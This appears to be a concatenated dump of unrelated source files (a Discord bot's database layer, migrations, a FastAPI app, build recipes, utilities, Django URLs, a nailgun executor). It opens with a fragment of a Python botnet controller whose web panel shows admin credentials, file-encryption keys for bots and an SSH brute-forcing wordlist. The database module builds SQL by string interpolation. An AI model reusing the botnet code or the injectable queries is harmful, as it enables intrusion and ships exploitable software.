Username: """ + str(botnet.botnet.admin_name) + """ - Username Used by Admins to obtain access to the Botnet</h4> <h4>Admin Password: """ + str(bot<PASSWORD>.botnet.<PASSWORD>w) + """ - Password Used by Admins to obtain access to the Botnet.</h4> <h4>Encryption Token: """ + str(botnet.botnet.key) + """ - Used for encrypting files on the bots.</h4> <h4>Brute-Forcing-File: """ + str(botnet.botnet.passfilename) + """ - Used for SSH-Brute-Forcing.</h4> </body> </html> """ time.sleep(1) except: pass def listen(self): """Listens for and accepts connections.""" while True: self.server.listen() conn, ip = self.server.accept() handler = threading.Thread(target=self.handler, args=(conn,)) handler.start() def handler(self, conn): """Handles the connections and sends the HTTP Code to the client to view the Web Interface.""" conn.send('HTTP/1.0 200 OK\n'.encode()) conn.send('Content-Type: text/html\n'.encode()) conn.send('\n'.encode()) conn.send(self.packet.encode()) if sys.platform == "win32": pass else: conn.close() if __name__ == '__main__': """Clears CMD Output.""" if sys.platform == "win32": os.system("cls") else: os.system("clear") try: """Tries to import this module.""" import paramiko except: """Since paramiko is not an official Python Module, the user may need to download Paramiko themself.""" print(Botnet.log_logo()) print("\n[+] Missing Module: Paramiko\n[+] If you have python 3 installed, try: pip install paramiko") sys.exit() botnet = ArguementParse()
2.4375
2
lib/database.py
Huyu2239/GChub
6
12764281
<reponame>Huyu2239/GChub<filename>lib/database.py import asyncpg from typing import Any, List, Optional from dataclasses import dataclass import os @dataclass class Gchat: """Class for global chat data.""" gchat_id: str owner_id: int style: int color_code: int password: str @dataclass class GchatChannel: """Class for global chat channel data.""" channel_id: int gchat_id: str class Database: def __init__(self, bot: Any) -> None: self.bot = bot self.conn: Optional[asyncpg.Connection] = None async def _check_database(self, conn: asyncpg.Connection) -> None: """create table(s) if required table(s) are not exists.""" try: await self.conn.execute("SELECT 'gchat'::regclass") except (asyncpg.exceptions.UndefinedColumnError, asyncpg.exceptions.UndefinedTableError): await self.conn.execute(''' CREATE TABLE gchat ( gchat_id varchar(20) PRIMARY KEY, owner_id bigint, style integer, color_code int, password varchar(<PASSWORD>) ) ''') try: await self.conn.execute("SELECT 'gchat_channels'::regclass") except (asyncpg.exceptions.UndefinedColumnError, asyncpg.exceptions.UndefinedTableError): await self.conn.execute(''' CREATE TABLE gchat_channels ( channel_id bigint PRIMARY KEY, gchat_id varchar(20), FOREIGN KEY(gchat_id) REFERENCES gchat(gchat_id) ) ''') async def _setup_connection(self) -> asyncpg.Connection: """setup connection and returns `asyncpg.Connection` object.""" self.conn = await asyncpg.connect( host='localhost', port=12358, user=os.environ["POSTGRES_USER"], password=os.environ["POSTGRES_PASSWORD"], database=os.environ["POSTGRES_DB"], loop=self.bot.loop ) await self._check_database(self.conn) return self.conn async def close(self) -> None: """close connection if exists connection.""" if self.conn is not None: await self.conn.close() async def get_gchat_channels(self, gchat_id: str) -> List[GchatChannel]: """returns List of `GChatChannel` object that match `gchat_id`.""" conn = self.conn or await self._setup_connection() channel_records = await conn.fetch(f"SELECT * FROM gchat_channels WHERE gchat_id='{gchat_id}'") channel_object_list: List[GchatChannel] = [] for record in channel_records: gchat_channel = GchatChannel( channel_id=record[0], gchat_id=record[1] ) channel_object_list.append(gchat_channel) return channel_object_list async def get_gchat(self, gchat_id) -> Optional[Gchat]: """returns `GChat` object from `gchat_id` if exists.""" conn = self.conn or await self._setup_connection() gchat_record = await conn.fetch(f"SELECT * FROM gchat WHERE gchat_id='{gchat_id}'") if not gchat_record: return None gchat_record = gchat_record[0] gchat = Gchat( gchat_id=gchat_record[0], owner_id=gchat_record[1], style=gchat_record[2], color_code=gchat_record[3], password=gchat_record[4] ) return gchat async def get_gchat_channel(self, channel_id) -> Optional[GchatChannel]: """returns `GChatChannel` object from `channel_id` if exists.""" conn = self.conn or await self._setup_connection() gchat_channel_record = await conn.fetch(f'SELECT * FROM gchat_channels WHERE channel_id={channel_id}') if not gchat_channel_record: return None gchat_channel_record = gchat_channel_record[0] gchat_channel = GchatChannel( channel_id=gchat_channel_record[0], gchat_id=gchat_channel_record[1] ) return gchat_channel async def create_gchat(self, gchat_id, owner_id, style, color_code, password) -> Gchat: """insert into database `gchat` an row and returns `Gchat` object.""" conn = self.conn or await self._setup_connection() await conn.execute(f"INSERT INTO gchat VALUES ('{gchat_id}', {owner_id}, {style}, {color_code}, '{password}')") gchat = Gchat( gchat_id=gchat_id, owner_id=owner_id, style=style, color_code=color_code, password=password ) return gchat async def add_gchat_channel(self, channel_id, gchat_id) -> GchatChannel: """insert into database `gchat_channels` and row and returns `GchatChannel` object.""" conn = self.conn or await self._setup_connection() gchat = await conn.fetch(f"SELECT * FROM gchat WHERE gchat_id='{gchat_id}'") if not gchat: raise ValueError("Unknown gchat id") await conn.execute(f"INSERT INTO gchat_channels VALUES ({channel_id}, '{gchat_id}')") gchat_channel = GchatChannel( channel_id=channel_id, gchat_id=gchat_id ) return gchat_channel async def get_all_gchat_channels(self) -> List[GchatChannel]: """returns all `GChatChannel` object.""" conn = self.conn or await self._setup_connection() gchat_channel_record = await conn.fetch('SELECT * FROM gchat_channels') if not gchat_channel_record: return [] gchat_channel = [] for records in gchat_channel_record: gchat_channel.append( GchatChannel( channel_id=records[0], gchat_id=records[1] ) ) return gchat_channel async def delete_gchat(self, gchat_id) -> None: """delete a row from database `gchat`.""" conn = self.conn or await self._setup_connection() gchat = await conn.fetch(f"SELECT * FROM gchat WHERE gchat_id='{gchat_id}'") if not gchat: raise ValueError("Invalid gchat id") await conn.execute(f"DELETE FROM gchat_channels WHERE gchat_id='{gchat_id}'") await conn.execute(f"DELETE FROM gchat WHERE gchat_id='{gchat_id}'") return async def delete_gchat_channel(self, channel_id, gchat_id): """delete a row from table `gchat_channels`.""" conn = self.conn or await self._setup_connection() gchat_channel = await conn.fetch(f"SELECT * FROM gchat_channels WHERE channel_id={channel_id} AND gchat_id='{gchat_id}'") if not gchat_channel: raise ValueError("Invalid gchat id or channel id") await conn.execute(f"DELETE FROM gchat_channels WHERE channel_id={channel_id} AND gchat_id='{gchat_id}'") return
2.75
3
migrations/versions/216378370ae4_third_migration.py
wanjikuciku/Blog
0
12764282
<gh_stars>0 """Third Migration Revision ID: 216378370ae4 Revises: <PASSWORD> Create Date: 2019-02-19 05:51:40.716914 """ from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql # revision identifiers, used by Alembic. revision = '216378370ae4' down_revision = '<PASSWORD>' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column('blogs', sa.Column('date_posted', sa.String(), nullable=True)) op.add_column('blogs', sa.Column('description', sa.String(), nullable=False)) op.add_column('blogs', sa.Column('owner_id', sa.Integer(), nullable=True)) op.add_column('blogs', sa.Column('title', sa.String(), nullable=True)) op.create_index(op.f('ix_blogs_description'), 'blogs', ['description'], unique=False) op.drop_constraint('blogs_user_id_fkey', 'blogs', type_='foreignkey') op.create_foreign_key(None, 'blogs', 'users', ['owner_id'], ['id']) op.drop_column('blogs', 'posted') op.drop_column('blogs', 'blog_title') op.drop_column('blogs', 'blog_content') op.drop_column('blogs', 'user_id') op.drop_column('blogs', 'category') # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column('blogs', sa.Column('category', sa.VARCHAR(), autoincrement=False, nullable=False)) op.add_column('blogs', sa.Column('user_id', sa.INTEGER(), autoincrement=False, nullable=True)) op.add_column('blogs', sa.Column('blog_content', sa.VARCHAR(length=1000), autoincrement=False, nullable=True)) op.add_column('blogs', sa.Column('blog_title', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('blogs', sa.Column('posted', postgresql.TIMESTAMP(), autoincrement=False, nullable=True)) op.drop_constraint(None, 'blogs', type_='foreignkey') op.create_foreign_key('blogs_user_id_fkey', 'blogs', 'users', ['user_id'], ['id']) op.drop_index(op.f('ix_blogs_description'), table_name='blogs') op.drop_column('blogs', 'title') op.drop_column('blogs', 'owner_id') op.drop_column('blogs', 'description') op.drop_column('blogs', 'date_posted') # ### end Alembic commands ###
1.398438
1
backend/web/app.py
d2hydro/hydrobase
0
12764283
<gh_stars>0 """Äpp of HydroBase API.""" from typing import List from fastapi import FastAPI from fastapi.middleware.cors import CORSMiddleware from fastapi.responses import FileResponse, StreamingResponse from pydantic import BaseModel import zipfile import json try: from .config import STATIC, DATA, __title__, __version__ from .line_function import sample_profile from .download_function import download_bbox except ImportError: from config import STATIC, DATA, __title__, __version__ from line_function import sample_profile from download_function import download_bbox app = FastAPI( title=__title__, version=__version__ ) origins = [ "*hydrobase.nl", "http://localhost:3000", "https://hydrobase.nl" ] app.add_middleware( CORSMiddleware, allow_origins=origins, allow_credentials=True, allow_methods=["*"], allow_headers=["*"], ) class LineData(BaseModel): """ Model of line data JSON object, to be posted by request. Example: ------- { "line": [127552.871, 462627.39, 127748.203, 462290.405], "max_samples": 2000 } """ line: List[float] max_samples: int = 2000 layers: List[str] class Config: schema_extra = { "example": { "line": [127552.871, 462627.39, 127748.203, 462290.405], "max_samples": 2000, "layers": ["distance", "digital_surface_model", "digital_terrain_model", "target_waterlevel_winter", "target_waterlevel_summer", "canal_cross_sections"] } } class BoxData(BaseModel): """ Model of line data JSON object, to be posted by request. Parameters: ---------- bbox: list with download coordinates [xmin, ymin, xmax ymax] Example: ------- { "bbox": [126005.6, 463307.6, 127005.6, 464307.6] } """ bbox: List[float] class Config: schema_extra = { "example": { "bbox": [126005.6, 463307.6, 127005.6, 464307.6], } } @app.get("/") async def home(): """Fetch the API home.""" return FileResponse(STATIC / 'index.html') @app.post('/download') async def download(data: BoxData): """Download data within a box supplied in a JSON body.""" s = download_bbox(data.bbox) response = StreamingResponse(iter([s.getvalue()]), media_type="application/x-zip-compressed", headers={ "Content-Disposition": "attachment;filename=hydrobase_download.zip" }) return response @app.post('/profile') async def profile(data: LineData): """Sample data over a line supplied in a JSON body.""" response = await sample_profile(data.line, data.layers, data.max_samples) return response
2.34375
2
src/python/pants/java/nailgun_executor.py
WamBamBoozle/pants
0
12764284
# coding=utf-8 # Copyright 2014 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) import hashlib import logging import os import re import threading import time from collections import namedtuple import psutil from six import string_types from twitter.common.collections import maybe_list from pants.base.build_environment import get_buildroot from pants.java.executor import Executor, SubprocessExecutor from pants.java.nailgun_client import NailgunClient from pants.util.dirutil import safe_open logger = logging.getLogger(__name__) # TODO: Once we integrate standard logging into our reporting framework, we can consider making # some of the log.debug() below into log.info(). Right now it just looks wrong on the console. class NailgunExecutor(Executor): """Executes java programs by launching them in nailgun server. If a nailgun is not available for a given set of jvm args and classpath, one is launched and re-used for the given jvm args and classpath on subsequent runs. """ class Endpoint(namedtuple('Endpoint', ['exe', 'fingerprint', 'pid', 'port'])): """The coordinates for a nailgun server controlled by NailgunExecutor.""" @classmethod def parse(cls, endpoint): """Parses an endpoint from a string of the form exe:fingerprint:pid:port""" components = endpoint.split(':') if len(components) != 4: raise ValueError('Invalid endpoint spec {}'.format(endpoint)) exe, fingerprint, pid, port = components return cls(exe, fingerprint, int(pid), int(port)) # Used to identify we own a given java nailgun server _PANTS_NG_ARG_PREFIX = b'-Dpants.buildroot' _PANTS_NG_ARG = b'{0}={1}'.format(_PANTS_NG_ARG_PREFIX, get_buildroot()) _PANTS_FINGERPRINT_ARG_PREFIX = b'-Dpants.nailgun.fingerprint=' @staticmethod def _check_pid(pid): try: os.kill(pid, 0) return True except OSError: return False @staticmethod def create_owner_arg(workdir): # Currently the owner is identified via the full path to the workdir. return b'-Dpants.nailgun.owner={0}'.format(workdir) @classmethod def _create_fingerprint_arg(cls, fingerprint): return cls._PANTS_FINGERPRINT_ARG_PREFIX + fingerprint @classmethod def parse_fingerprint_arg(cls, args): for arg in args: components = arg.split(cls._PANTS_FINGERPRINT_ARG_PREFIX) if len(components) == 2 and components[0] == '': return components[1] return None @staticmethod def _fingerprint(jvm_options, classpath, java_version): """Compute a fingerprint for this invocation of a Java task. :param list jvm_options: JVM options passed to the java invocation :param list classpath: The -cp arguments passed to the java invocation :param Revision java_version: return value from Distribution.version() :return: a hexstring representing a fingerprint of the java invocation """ digest = hashlib.sha1() digest.update(''.join(sorted(jvm_options))) digest.update(''.join(sorted(classpath))) # TODO(<NAME>): hash classpath contents? digest.update(repr(java_version)) return digest.hexdigest() @staticmethod def _log_kill(pid, port=None): port_desc = ' port:{0}'.format(port if port else '') logger.info('killing ng server @ pid:{pid}{port}'.format(pid=pid, port=port_desc)) @classmethod def _find_ngs(cls, everywhere=False): def cmdline_matches(cmdline): if everywhere: return any(filter(lambda arg: arg.startswith(cls._PANTS_NG_ARG_PREFIX), cmdline)) else: return cls._PANTS_NG_ARG in cmdline for proc in psutil.process_iter(): try: if b'java' == proc.name and cmdline_matches(proc.cmdline): yield proc except (psutil.AccessDenied, psutil.NoSuchProcess): pass @classmethod def killall(cls, everywhere=False): """Kills all nailgun servers started by pants. :param bool everywhere: If ``True`` Kills all pants-started nailguns on this machine; otherwise restricts the nailguns killed to those started for the current build root. """ success = True for proc in cls._find_ngs(everywhere=everywhere): try: cls._log_kill(proc.pid) proc.kill() except (psutil.AccessDenied, psutil.NoSuchProcess): success = False return success @staticmethod def _find_ng_listen_port(proc): for connection in proc.get_connections(kind=b'tcp'): if connection.status == b'LISTEN': host, port = connection.laddr return port return None @classmethod def _find(cls, workdir): owner_arg = cls.create_owner_arg(workdir) for proc in cls._find_ngs(everywhere=False): try: if owner_arg in proc.cmdline: fingerprint = cls.parse_fingerprint_arg(proc.cmdline) port = cls._find_ng_listen_port(proc) exe = proc.cmdline[0] if fingerprint and port: return cls.Endpoint(exe, fingerprint, proc.pid, port) except (psutil.AccessDenied, psutil.NoSuchProcess): pass return None def __init__(self, workdir, nailgun_classpath, distribution=None, ins=None): super(NailgunExecutor, self).__init__(distribution=distribution) self._nailgun_classpath = maybe_list(nailgun_classpath) if not isinstance(workdir, string_types): raise ValueError('Workdir must be a path string, given {workdir}'.format(workdir=workdir)) self._workdir = workdir self._ng_out = os.path.join(workdir, 'stdout') self._ng_err = os.path.join(workdir, 'stderr') self._ins = ins def _runner(self, classpath, main, jvm_options, args, cwd=None): command = self._create_command(classpath, main, jvm_options, args) class Runner(self.Runner): @property def executor(this): return self @property def command(self): return list(command) def run(this, stdout=None, stderr=None, cwd=None): nailgun = self._get_nailgun_client(jvm_options, classpath, stdout, stderr) try: logger.debug('Executing via {ng_desc}: {cmd}'.format(ng_desc=nailgun, cmd=this.cmd)) return nailgun(main, cwd, *args) except nailgun.NailgunError as e: self.kill() raise self.Error('Problem launching via {ng_desc} command {main} {args}: {msg}' .format(ng_desc=nailgun, main=main, args=' '.join(args), msg=e)) return Runner() def kill(self): """Kills the nailgun server owned by this executor if its currently running.""" endpoint = self._get_nailgun_endpoint() if endpoint: self._log_kill(endpoint.pid, endpoint.port) try: os.kill(endpoint.pid, 9) except OSError: pass def _get_nailgun_endpoint(self): endpoint = self._find(self._workdir) if endpoint: logger.debug('Found ng server launched with {endpoint}'.format(endpoint=repr(endpoint))) return endpoint def _find_and_stat_nailgun_server(self, new_fingerprint): endpoint = self._get_nailgun_endpoint() running = endpoint and self._check_pid(endpoint.pid) updated = endpoint and endpoint.fingerprint != new_fingerprint updated = updated or (endpoint and endpoint.exe != self._distribution.java) return endpoint, running, updated _nailgun_spawn_lock = threading.Lock() def _get_nailgun_client(self, jvm_options, classpath, stdout, stderr): classpath = self._nailgun_classpath + classpath new_fingerprint = self._fingerprint(jvm_options, classpath, self._distribution.version) endpoint, running, updated = self._find_and_stat_nailgun_server(new_fingerprint) if running and not updated: return self._create_ngclient(endpoint.port, stdout, stderr) with self._nailgun_spawn_lock: endpoint, running, updated = self._find_and_stat_nailgun_server(new_fingerprint) if running and not updated: return self._create_ngclient(endpoint.port, stdout, stderr) if running and updated: logger.debug('Killing ng server launched with {endpoint}'.format(endpoint=repr(endpoint))) self.kill() return self._spawn_nailgun_server(new_fingerprint, jvm_options, classpath, stdout, stderr) # 'NGServer started on 127.0.0.1, port 53785.' _PARSE_NG_PORT = re.compile('.*\s+port\s+(\d+)\.$') def _parse_nailgun_port(self, line): match = self._PARSE_NG_PORT.match(line) if not match: raise NailgunClient.NailgunError('Failed to determine spawned ng port from response' ' line: {line}'.format(line=line)) return int(match.group(1)) def _await_nailgun_server(self, stdout, stderr, debug_desc): # TODO(<NAME>) Make these cmdline/config parameters once we have a global way to fetch # the global options scope. nailgun_timeout_seconds = 10 max_socket_connect_attempts = 5 nailgun = None port_parse_start = time.time() with safe_open(self._ng_out, 'r') as ng_out: while not nailgun: started = ng_out.readline() if started.find('Listening for transport dt_socket at address:') >= 0: nailgun_timeout_seconds = 60 logger.warn('Timeout extended to {timeout} seconds for debugger to attach to ng server.' .format(timeout=nailgun_timeout_seconds)) started = ng_out.readline() if started: port = self._parse_nailgun_port(started) nailgun = self._create_ngclient(port, stdout, stderr) logger.debug('Detected ng server up on port {port}'.format(port=port)) elif time.time() - port_parse_start > nailgun_timeout_seconds: raise NailgunClient.NailgunError( 'Failed to read ng output after {sec} seconds.\n {desc}' .format(sec=nailgun_timeout_seconds, desc=debug_desc)) attempt = 0 while nailgun: sock = nailgun.try_connect() if sock: sock.close() endpoint = self._get_nailgun_endpoint() if endpoint: logger.debug('Connected to ng server launched with {endpoint}' .format(endpoint=repr(endpoint))) else: raise NailgunClient.NailgunError('Failed to connect to ng server.') return nailgun elif attempt > max_socket_connect_attempts: raise nailgun.NailgunError('Failed to connect to ng output after {count} connect attempts' .format(count=max_socket_connect_attempts)) attempt += 1 logger.debug('Failed to connect on attempt {count}'.format(count=attempt)) time.sleep(0.1) def _create_ngclient(self, port, stdout, stderr): return NailgunClient(port=port, ins=self._ins, out=stdout, err=stderr, workdir=get_buildroot()) def _spawn_nailgun_server(self, fingerprint, jvm_options, classpath, stdout, stderr): logger.debug('No ng server found with fingerprint {fingerprint}, spawning...' .format(fingerprint=fingerprint)) with safe_open(self._ng_out, 'w'): pass # truncate pid = os.fork() if pid != 0: # In the parent tine - block on ng being up for connections return self._await_nailgun_server(stdout, stderr, 'jvm_options={jvm_options} classpath={classpath}' .format(jvm_options=jvm_options, classpath=classpath)) os.setsid() in_fd = open('/dev/null', 'r') out_fd = safe_open(self._ng_out, 'w') err_fd = safe_open(self._ng_err, 'w') java = SubprocessExecutor(self._distribution) jvm_options = jvm_options + [self._PANTS_NG_ARG, self.create_owner_arg(self._workdir), self._create_fingerprint_arg(fingerprint)] process = java.spawn(classpath=classpath, main='com.martiansoftware.nailgun.NGServer', jvm_options=jvm_options, args=[':0'], stdin=in_fd, stdout=out_fd, stderr=err_fd, close_fds=True) logger.debug('Spawned ng server with fingerprint {fingerprint} @ {pid}' .format(fingerprint=fingerprint, pid=process.pid)) # Prevents finally blocks and atexit handlers from being executed, unlike sys.exit(). We # don't want to execute finally blocks because we might, e.g., clean up tempfiles that the # parent still needs. os._exit(0) def __str__(self): return 'NailgunExecutor({dist}, server={endpoint})' \ .format(dist=self._distribution, endpoint=self._get_nailgun_endpoint())
2.140625
2
websocketpp/conanfile.py
kapilsh/conan-scripts
0
12764285
from conans import ConanFile, CMake from conans.tools import unzip, download import os import shutil class WebsocketppConan(ConanFile): name = "websocketpp" boost_version = "1.68.0" openssl_version = "1.1.1" zlib_version = "1.2.11" with open(os.path.join(os.path.dirname(os.path.realpath( __file__)), "VERSION.txt"), 'r') as version_file: version = version_file.read() settings = "os", "arch", "compiler", "build_type" description = "C++ websocket client/server library" generators = "cmake", "virtualenv" requires = f"boost/{boost_version}@kapilsh/release", \ f"openssl/{openssl_version}@kapilsh/release" exports = "VERSION.txt" url = "https://github.com/zaphoyd/websocketpp" license = "http://eigen.tuxfamily.org/index.php?title=Main_Page#License" github_url = "https://github.com/zaphoyd/websocketpp/archive" def source(self): tar_file = "{}.tar.gz".format(self.version) download("{}/{}".format(self.github_url, tar_file), tar_file) unzip(tar_file) os.unlink(tar_file) shutil.move(f"websocketpp-{self.version}", "websocketpp") def build(self): cmake = CMake(self) cmake.definitions['BUILD_TESTS'] = False cmake.definitions['BUILD_EXAMPLES'] = False cmake.configure(source_folder="websocketpp") cmake.build() cmake.install() def package(self): pass def package_info(self): self.cpp_info.includedirs = ['include'] self.env_info.CPATH.append("{}/include".format(self.package_folder))
2.109375
2
spikeextractors/extractors/mdaextractors/__init__.py
zekearneodo/spikeextractors
145
12764286
from .mdaextractors import MdaRecordingExtractor, MdaSortingExtractor
1.070313
1
release/stubs.min/Rhino/DocObjects/__init___parts/PointCloudObject.py
htlcnn/ironpython-stubs
182
12764287
<reponame>htlcnn/ironpython-stubs<filename>release/stubs.min/Rhino/DocObjects/__init___parts/PointCloudObject.py class PointCloudObject(RhinoObject): # no doc def DuplicatePointCloudGeometry(self): """ DuplicatePointCloudGeometry(self: PointCloudObject) -> PointCloud """ pass PointCloudGeometry=property(lambda self: object(),lambda self,v: None,lambda self: None) """Get: PointCloudGeometry(self: PointCloudObject) -> PointCloud """
1.75
2
Chapter_1_Introduction/Easy_Problems/kattis_lineup.py
BrandonTang89/CP4_Code
2
12764288
''' Kattis - lineup Compare list with the sorted version of the list. Time: O(n log n), Space: O(n) ''' n = int(input()) arr = [input() for _ in range(n)] if arr == sorted(arr): print("INCREASING") elif arr == sorted(arr, reverse=True): print("DECREASING") else: print("NEITHER")
3.984375
4
src/data/clean_raw_data.py
ereidelbach/pubg
1
12764289
#!/usr/bin/env python3.7 # -*- coding: utf-8 -*- """ Created on Mon Feb 4 15:45:33 2019 @author: ejreidelbach :DESCRIPTION: :REQUIRES: :TODO: """ #============================================================================== # Package Import #============================================================================== import os import pandas as pd import pathlib import tqdm import collections import matplotlib.pyplot as plt import math #============================================================================== # Reference Variable Declaration #============================================================================== #============================================================================== # Function Definitions #============================================================================== def function_name(var1, var2): ''' Purpose: Stuff goes here Inputs ------ var1 : type description var2 : type description Outputs ------- var1 : type description var2 : type description ''' def bucketize(point, bucket_size): """floor the point to the next lower multiple of bucket_size""" return bucket_size * math.floor(point / bucket_size) def make_histogram(points, bucket_size): """buckets the points and counts how many in each bucket""" return Counter(bucketize(point, bucket_size) for point in points) def plot_histogram(points, bucket_size, title=""): histogram = make_histogram(points, bucket_size) plt.bar(histogram.keys(), histogram.values(), width=bucket_size) plt.title(title) plt.show() def plot_scatter(xs, ys1, ys2): plt.scatter(xs, ys1, marker='.', color='black', label='ys1') plt.scatter(xs, ys2, marker='.', color='gray', label='ys2') plt.xlabel('xs') plt.ylabel('ys') plt.legend(loc=9) plt.show() def dot(v, w): """v_1 * w_1 + ... + v_n * w_n""" return sum(v_i * w_i for v_i, w_i in zip(v, w)) def sum_of_squares(v): """v_1 * v_1 + ... + v_n * v_n""" return dot(v, v) def de_mean(x): """translate x by subtracting its mean (so the result has mean 0)""" x_bar = mean(x) return [x_i - x_bar for x_i in x] def mean(x): return sum(x) / len(x) def variance(x): """assumes x has at least two elements""" n = len(x) deviations = de_mean(x) return sum_of_squares(deviations) / (n - 1) def get_column(A, j): return [A_i[j] for A_i in A] def standard_deviation(x): return math.sqrt(variance(x)) def shape(A): num_rows = len(A) num_cols = len(A[0]) if A else 0 return num_rows, num_cols def covariance(x, y): n = len(x) return dot(de_mean(x), de_mean(y)) / (n - 1) def correlation(x, y): stdev_x = standard_deviation(x) stdev_y = standard_deviation(y) if stdev_x > 0 and stdev_y > 0: return covariance(x, y) / stdev_x / stdev_y else: return 0 # if no variation, correlation is zero #============================================================================== # Working Code #============================================================================== #from aggregate_CFBStats_by_category import aggregate_data_by_category # Set the project working directory #path_project = pathlib.Path(__file__).resolve().parents[2] #os.chdir(path_project) path_dir = pathlib.Path('/home/ejreidelbach/Projects/kagglePUBG/data/raw') os.chdir(path_dir) df = pd.read_csv('train_V2.csv', nrows=10000) plot_histogram(df['kills'], 1) plot_scatter(df, df['kills'], df['winPlacePerc'])
2.09375
2
mtp_noms_ops/urls.py
ministryofjustice/money-to-prisoners-noms-ops
3
12764290
from django.conf import settings from django.conf.urls import include, url from django.conf.urls.i18n import i18n_patterns from django.http import HttpResponse from django.shortcuts import redirect from django.template.response import TemplateResponse from django.urls import reverse, reverse_lazy from django.utils.translation import gettext_lazy as _ from django.views.decorators.cache import cache_control from django.views.generic import RedirectView from django.views.i18n import JavaScriptCatalog from moj_irat.views import HealthcheckView, PingJsonView from mtp_common.analytics import genericised_pageview from mtp_common.auth import views as auth_views from mtp_common.auth.exceptions import Unauthorized from mtp_common.metrics.views import metrics_view from mtp_auth.views import AcceptRequestView from user_admin.views import UserCreationView, UserUpdateView from views import FAQView def login_view(request): return auth_views.login(request, template_name='mtp_auth/login.html', extra_context={ 'start_page_url': settings.START_PAGE_URL, 'google_analytics_pageview': genericised_pageview(request, _('Sign in')), }) def root_view(request): if not (request.can_access_prisoner_location or request.can_access_security): raise Unauthorized() # middleware causes user to be logged-out if request.can_access_prisoner_location and not request.can_access_security: return redirect(reverse('location_file_upload')) return redirect(reverse('security:dashboard')) # NB: API settings has certain Noms Ops URLs which will need to be updated # if they change: settings, feedback, and notifications urlpatterns = i18n_patterns( url(r'^$', root_view, name='root'), url(r'^prisoner-location/', include('prisoner_location_admin.urls')), url(r'^settings/', include('settings.urls')), url(r'^faq/', FAQView.as_view(), name='faq'), url(r'^feedback/', include('feedback.urls')), url(r'^', include('mtp_auth.urls')), url(r'^login/$', login_view, name='login'), url( r'^logout/$', auth_views.logout, { 'template_name': 'mtp_auth/login.html', 'next_page': reverse_lazy('login'), }, name='logout' ), url( r'^password_change/$', auth_views.password_change, { 'template_name': 'mtp_common/auth/password_change.html', 'cancel_url': reverse_lazy(settings.LOGIN_REDIRECT_URL), }, name='password_change' ), url( r'^create_password/$', auth_views.password_change_with_code, { 'template_name': 'mtp_common/auth/password_change_with_code.html', 'cancel_url': reverse_lazy(settings.LOGIN_REDIRECT_URL), }, name='password_change_with_code' ), url( r'^password_change_done/$', auth_views.password_change_done, { 'template_name': 'mtp_common/auth/password_change_done.html', 'cancel_url': reverse_lazy(settings.LOGIN_REDIRECT_URL), }, name='password_change_done' ), url( r'^reset-password/$', auth_views.reset_password, { 'password_change_url': reverse_lazy('password_change_with_code'), 'template_name': 'mtp_common/auth/reset-password.html', 'cancel_url': reverse_lazy(settings.LOGIN_REDIRECT_URL), }, name='reset_password' ), url( r'^reset-password-done/$', auth_views.reset_password_done, { 'template_name': 'mtp_common/auth/reset-password-done.html', 'cancel_url': reverse_lazy(settings.LOGIN_REDIRECT_URL), }, name='reset_password_done' ), url( r'^email_change/$', auth_views.email_change, { 'cancel_url': reverse_lazy('settings'), }, name='email_change' ), url(r'^', include('security.urls', namespace='security')), # Override mtp_common.user_admin's /users/new/ view url(r'^users/new/$', UserCreationView.as_view(), name='new-user'), # Override mtp_common.user_admin's /users/{ID}/edit/ view url(r'^users/(?P<username>[^/]+)/edit/$', UserUpdateView.as_view(), name='edit-user'), url(r'^', include('mtp_common.user_admin.urls')), url( r'^users/request/(?P<account_request>\d+)/accept/$', AcceptRequestView.as_view(), name='accept-request' ), url(r'^js-i18n.js$', cache_control(public=True, max_age=86400)(JavaScriptCatalog.as_view()), name='js-i18n'), url(r'^404.html$', lambda request: TemplateResponse(request, 'mtp_common/errors/404.html', status=404)), url(r'^500.html$', lambda request: TemplateResponse(request, 'mtp_common/errors/500.html', status=500)), ) urlpatterns += [ url(r'^ping.json$', PingJsonView.as_view( build_date_key='APP_BUILD_DATE', commit_id_key='APP_GIT_COMMIT', version_number_key='APP_BUILD_TAG', ), name='ping_json'), url(r'^healthcheck.json$', HealthcheckView.as_view(), name='healthcheck_json'), url(r'^metrics.txt$', metrics_view, name='prometheus_metrics'), url(r'^favicon.ico$', RedirectView.as_view(url=settings.STATIC_URL + 'images/favicon.ico', permanent=True)), url(r'^robots.txt$', lambda request: HttpResponse('User-agent: *\nDisallow: /', content_type='text/plain')), url(r'^\.well-known/security\.txt$', RedirectView.as_view( url='https://raw.githubusercontent.com/ministryofjustice/security-guidance' '/main/contact/vulnerability-disclosure-security.txt', permanent=True, )), ] handler404 = 'mtp_common.views.page_not_found' handler500 = 'mtp_common.views.server_error' handler400 = 'mtp_common.views.bad_request'
1.90625
2
pinpoint/VideoReader.py
varma88/pinpoint
6
12764291
#! /usr/bin/env python """ Copyright 2015-2018 <NAME> <<EMAIL>> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import cv2 import numpy as np import os class VideoReader(cv2.VideoCapture): '''Read a video in batches. Parameters ---------- path: str Path to the video file. batch_size: int, default = 1 Batch size for reading frames framerate: float, default = None Video framerate for determining timestamps for each frame. If None, timestamps will equal frame number. gray: bool, default = False If gray, return only the middle channel ''' def __init__(self, path, batch_size=1, framerate=None, gray=False): if isinstance(path, str): if os.path.exists(path): super(VideoReader, self).__init__(path) self.path = path else: raise ValueError('file or path does not exist') else: raise TypeError('path must be str') self.batch_size = batch_size self.n_frames = int(self.get(cv2.CAP_PROP_FRAME_COUNT)) if framerate: self.timestep = 1. / framerate else: self.timestep = 1. self.idx = 0 self.fps = self.get(cv2.CAP_PROP_FPS) self.height = self.get(cv2.CAP_PROP_FRAME_HEIGHT) self.width = self.get(cv2.CAP_PROP_FRAME_WIDTH) self.shape = (self.height, self.width) self.finished = False self.gray = gray self._read = super(VideoReader, self).read def read(self): ''' Read one frame Returns ------- frame: array Image is returned of the frame if a frame exists. Otherwise, return 